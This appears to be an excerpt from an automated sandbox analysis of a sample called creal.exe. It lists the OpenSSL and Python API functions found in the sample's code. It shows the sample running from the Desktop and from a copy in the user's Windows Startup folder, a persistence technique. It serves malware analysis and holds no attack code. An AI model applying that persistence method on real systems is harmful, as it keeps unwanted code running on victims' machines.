Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D2036 CRYPTO_free,	2_2_00007FF8E71D2036
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D24FA CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	2_2_00007FF8E71D24FA
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1488 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	2_2_00007FF8E71D1488
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71DE592 ERR_set_debug,CRYPTO_free,CRYPTO_strdup,ERR_new,	2_2_00007FF8E71DE592
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D2059 CRYPTO_free,CRYPTO_malloc,ERR_new,RAND_bytes_ex,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,	2_2_00007FF8E71D2059
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1AC3 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,	2_2_00007FF8E71D1AC3
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1D98 EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,EVP_CIPHER_CTX_free,CRYPTO_zalloc,EVP_MAC_CTX_free,EVP_MAC_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MAC_fetch,EVP_MAC_CTX_new,EVP_MAC_free,EVP_CIPHER_CTX_new,EVP_CIPHER_fetch,OSSL_PARAM_construct_utf8_string,OSSL_PARAM_construct_end,EVP_MAC_init,EVP_DecryptInit_ex,EVP_CIPHER_free,EVP_CIPHER_free,EVP_CIPHER_free,EVP_MAC_CTX_get_mac_size,EVP_CIPHER_CTX_get_iv_length,EVP_MAC_final,CRYPTO_memcmp,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,memcpy,ERR_clear_error,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MAC_CTX_free,CRYPTO_free,	2_2_00007FF8E71D1D98
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1EE7 CRYPTO_free,CRYPTO_strndup,CRYPTO_free,OPENSSL_cleanse,_time64,memcpy,EVP_MD_get0_name,EVP_MD_is_a,ERR_new,ERR_set_debug,OPENSSL_cleanse,ERR_new,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	2_2_00007FF8E71D1EE7
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D15E1 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,memcpy,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	2_2_00007FF8E71D15E1
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D6460 BIO_get_data,BIO_get_shutdown,BIO_get_init,BIO_clear_flags,BIO_set_init,CRYPTO_free,	2_2_00007FF8E71D6460
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1627 EVP_MD_CTX_new,ERR_new,ERR_set_debug,ERR_new,EVP_MD_get0_name,EVP_DigestSignInit_ex,ERR_new,ERR_set_debug,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,EVP_DigestSignUpdate,EVP_DigestSignFinal,CRYPTO_malloc,EVP_DigestSignFinal,ERR_new,ERR_new,EVP_DigestSign,ERR_new,CRYPTO_malloc,EVP_DigestSign,BUF_reverse,ERR_new,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_MD_CTX_free,	2_2_00007FF8E71D1627
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7248450 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,ERR_new,ERR_new,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,ERR_new,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,	2_2_00007FF8E7248450
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D18B6 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	2_2_00007FF8E71D18B6
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71DE4A0 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	2_2_00007FF8E71DE4A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71FE4F0 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	2_2_00007FF8E71FE4F0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D19DD BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,CRYPTO_free,CRYPTO_strdup,	2_2_00007FF8E71D19DD
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7228330 CRYPTO_memcmp,	2_2_00007FF8E7228330
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D4330 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	2_2_00007FF8E71D4330
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71F2360 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,	2_2_00007FF8E71F2360
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E723C370 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	2_2_00007FF8E723C370
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1F41 CRYPTO_malloc,ERR_new,ERR_set_debug,	2_2_00007FF8E71D1F41
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71EC3A0 CRYPTO_free,CRYPTO_memdup,	2_2_00007FF8E71EC3A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E72343A0 ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_free,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_clear_free,CRYPTO_clear_free,	2_2_00007FF8E72343A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E724A3A0 EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_clear_error,ASN1_item_d2i,ASN1_TYPE_get,ERR_new,ERR_set_debug,EVP_PKEY_decrypt,ERR_new,EVP_PKEY_CTX_ctrl,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,ASN1_item_free,	2_2_00007FF8E724A3A0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1F5A CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	2_2_00007FF8E71D1F5A
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D6233 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_set_init,BIO_set_data,BIO_clear_flags,	2_2_00007FF8E71D6233
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D138E CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	2_2_00007FF8E71D138E
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D23FB CRYPTO_free,CRYPTO_memdup,	2_2_00007FF8E71D23FB
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71F6290 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,d2i_X509,X509_get0_pubkey,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,X509_free,OPENSSL_sk_new_null,OPENSSL_sk_push,ERR_new,ERR_set_debug,ERR_set_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	2_2_00007FF8E71F6290
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71E62F0 CRYPTO_THREAD_run_once,	2_2_00007FF8E71E62F0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1366 CRYPTO_malloc,EVP_PKEY_set_type,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_CTX_free,ERR_pop_to_mark,CRYPTO_free,EVP_PKEY_free,	2_2_00007FF8E71D1366
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D4130 CRYPTO_free,	2_2_00007FF8E71D4130
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D2694 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	2_2_00007FF8E71D2694
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D13D9 OPENSSL_sk_new_null,ERR_new,ERR_set_debug,X509_new_ex,d2i_X509,CRYPTO_free,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_new,ERR_set_debug,X509_free,OPENSSL_sk_pop_free,	2_2_00007FF8E71D13D9
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D150A OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_new_reserve,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_value,X509_VERIFY_PARAM_get_depth,CRYPTO_dup_ex_data,X509_VERIFY_PARAM_inherit,OPENSSL_sk_dup,OPENSSL_sk_dup,	2_2_00007FF8E71D150A
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1C58 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	2_2_00007FF8E71D1C58
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E721E160 CRYPTO_free,	2_2_00007FF8E721E160
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7246190 CRYPTO_memcmp,	2_2_00007FF8E7246190
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7236180 EVP_CIPHER_CTX_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	2_2_00007FF8E7236180
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1CF3 CRYPTO_malloc,memset,memcpy,memcpy,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,CRYPTO_clear_free,OPENSSL_cleanse,	2_2_00007FF8E71D1CF3
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E721E1D0 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	2_2_00007FF8E721E1D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1186 EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	2_2_00007FF8E71D1186
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71ED040 CRYPTO_free,CRYPTO_free,CRYPTO_free_ex_data,OPENSSL_LH_free,X509_STORE_free,CTLOG_STORE_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_secure_free,EVP_MD_get0_provider,EVP_MD_free,EVP_MD_get0_provider,EVP_MD_free,EVP_CIPHER_get0_provider,EVP_CIPHER_free,EVP_MD_get0_provider,EVP_MD_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,CRYPTO_free,	2_2_00007FF8E71ED040
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8406244 CRYPTO_memcmp,	28_2_00007FF8F8406244
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84018E0 _Py_NoneStruct,_PyArg_UnpackKeywords,PyObject_GetBuffer,PyBuffer_IsContiguous,PyObject_GetBuffer,PyBuffer_IsContiguous,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,EVP_PBE_scrypt,PyBytes_FromStringAndSize,PyEval_SaveThread,EVP_PBE_scrypt,PyEval_RestoreThread,PyExc_ValueError,PyErr_SetString,PyBuffer_Release,PyBuffer_Release,PyLong_AsLong,PyErr_Occurred,PyLong_AsLong,PyErr_Occurred,PyExc_ValueError,PyExc_ValueError,PyErr_Format,_PyArg_BadArgument,_PyArg_BadArgument,_PyArg_BadArgument,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,_PyArg_BadArgument,_PyArg_BadArgument,PyExc_OverflowError,PyExc_OverflowError,_Py_Dealloc,PyExc_ValueError,	28_2_00007FF8F84018E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D8E50 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	28_2_00007FF8F84D8E50
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84E1950 ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,CRYPTO_free,ERR_new,ERR_set_debug,EVP_PKEY_free,CRYPTO_free,	28_2_00007FF8F84E1950
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84DD960 RAND_bytes_ex,CRYPTO_malloc,memset,	28_2_00007FF8F84DD960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84FD9E0 CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,	28_2_00007FF8F84FD9E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491023 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F8491023
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84911C2 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F84911C2
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D99A0 ERR_new,ERR_set_debug,EVP_MD_CTX_get0_md,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_set_mark,ERR_pop_to_mark,ERR_new,ERR_set_debug,ERR_clear_last_mark,EVP_MD_CTX_get0_md,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,	28_2_00007FF8F84D99A0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849193D CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,	28_2_00007FF8F849193D
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84912D0 CRYPTO_THREAD_run_once,	28_2_00007FF8F84912D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84F3A90 ERR_new,ERR_set_debug,X509_get0_pubkey,EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,CRYPTO_malloc,EVP_PKEY_encrypt_init,RAND_bytes_ex,EVP_MD_CTX_new,EVP_DigestInit,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_MD_CTX_free,EVP_PKEY_CTX_ctrl,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_MD_CTX_free,	28_2_00007FF8F84F3A90
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A1AA0 CRYPTO_free,CRYPTO_strndup,	28_2_00007FF8F84A1AA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84C3B10 CRYPTO_malloc,CRYPTO_realloc,ERR_new,ERR_set_debug,ERR_set_error,memset,OSSL_PARAM_locate_const,CRYPTO_strdup,ERR_new,ERR_set_debug,OSSL_PARAM_locate_const,CRYPTO_strdup,ERR_new,OSSL_PARAM_locate_const,OSSL_PARAM_locate_const,CRYPTO_strdup,ERR_new,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,ERR_new,OSSL_PARAM_locate_const,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,ERR_set_mark,EVP_KEYMGMT_free,ERR_pop_to_mark,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F84C3B10
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849FB00 EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_derive_set_peer,EVP_PKEY_is_a,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_derive,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,	28_2_00007FF8F849FB00
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84DFB00 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F84DFB00
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491087 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,	28_2_00007FF8F8491087
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84D3C30 CRYPTO_free,CRYPTO_free,OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F84D3C30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84EFCC0 CRYPTO_free,CRYPTO_memdup,	28_2_00007FF8F84EFCC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8492536 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F8492536
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A7CB0 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	28_2_00007FF8F84A7CB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84A9D50 CRYPTO_free,CRYPTO_strdup,	28_2_00007FF8F84A9D50
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849176C CRYPTO_malloc,CRYPTO_THREAD_lock_new,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,X509_up_ref,X509_chain_up_ref,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_dup_ex_data,CRYPTO_strdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_memdup,	28_2_00007FF8F849176C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84BDDC0 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,_time64,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,	28_2_00007FF8F84BDDC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849157D CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	28_2_00007FF8F849157D
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84911E0 EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	28_2_00007FF8F84911E0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84B5DE0 CRYPTO_zalloc,CRYPTO_zalloc,OBJ_nid2sn,EVP_get_digestbyname,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	28_2_00007FF8F84B5DE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849108C ERR_new,ERR_set_debug,CRYPTO_free,	28_2_00007FF8F849108C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84E7DE0 CRYPTO_memdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F84E7DE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84925EF CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,	28_2_00007FF8F84925EF
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F849FDB0 ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,CRYPTO_malloc,CRYPTO_malloc,EVP_PKEY_encapsulate,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,CRYPTO_free,EVP_PKEY_CTX_free,	28_2_00007FF8F849FDB0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8495E4A BIO_get_data,BIO_get_init,BIO_clear_flags,BIO_set_init,CRYPTO_free,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_set_init,BIO_clear_flags,BIO_get_data,BIO_set_shutdown,BIO_push,BIO_set_next,BIO_up_ref,BIO_set_init,	28_2_00007FF8F8495E4A
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84919E7 CRYPTO_free,	28_2_00007FF8F84919E7
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8493EE0 CRYPTO_free,	28_2_00007FF8F8493EE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84F9E90 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F84F9E90
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491B31 CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	28_2_00007FF8F8491B31
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84EFF50 CRYPTO_free,CRYPTO_strndup,	28_2_00007FF8F84EFF50
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491ACD ERR_new,ERR_set_debug,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,memcpy,ERR_new,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,	28_2_00007FF8F8491ACD
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84925A4 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	28_2_00007FF8F84925A4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F84F3F10 EVP_MD_CTX_new,EVP_DigestInit,EVP_DigestUpdate,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_MD_CTX_free,CRYPTO_malloc,EVP_PKEY_CTX_ctrl,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,	28_2_00007FF8F84F3F10
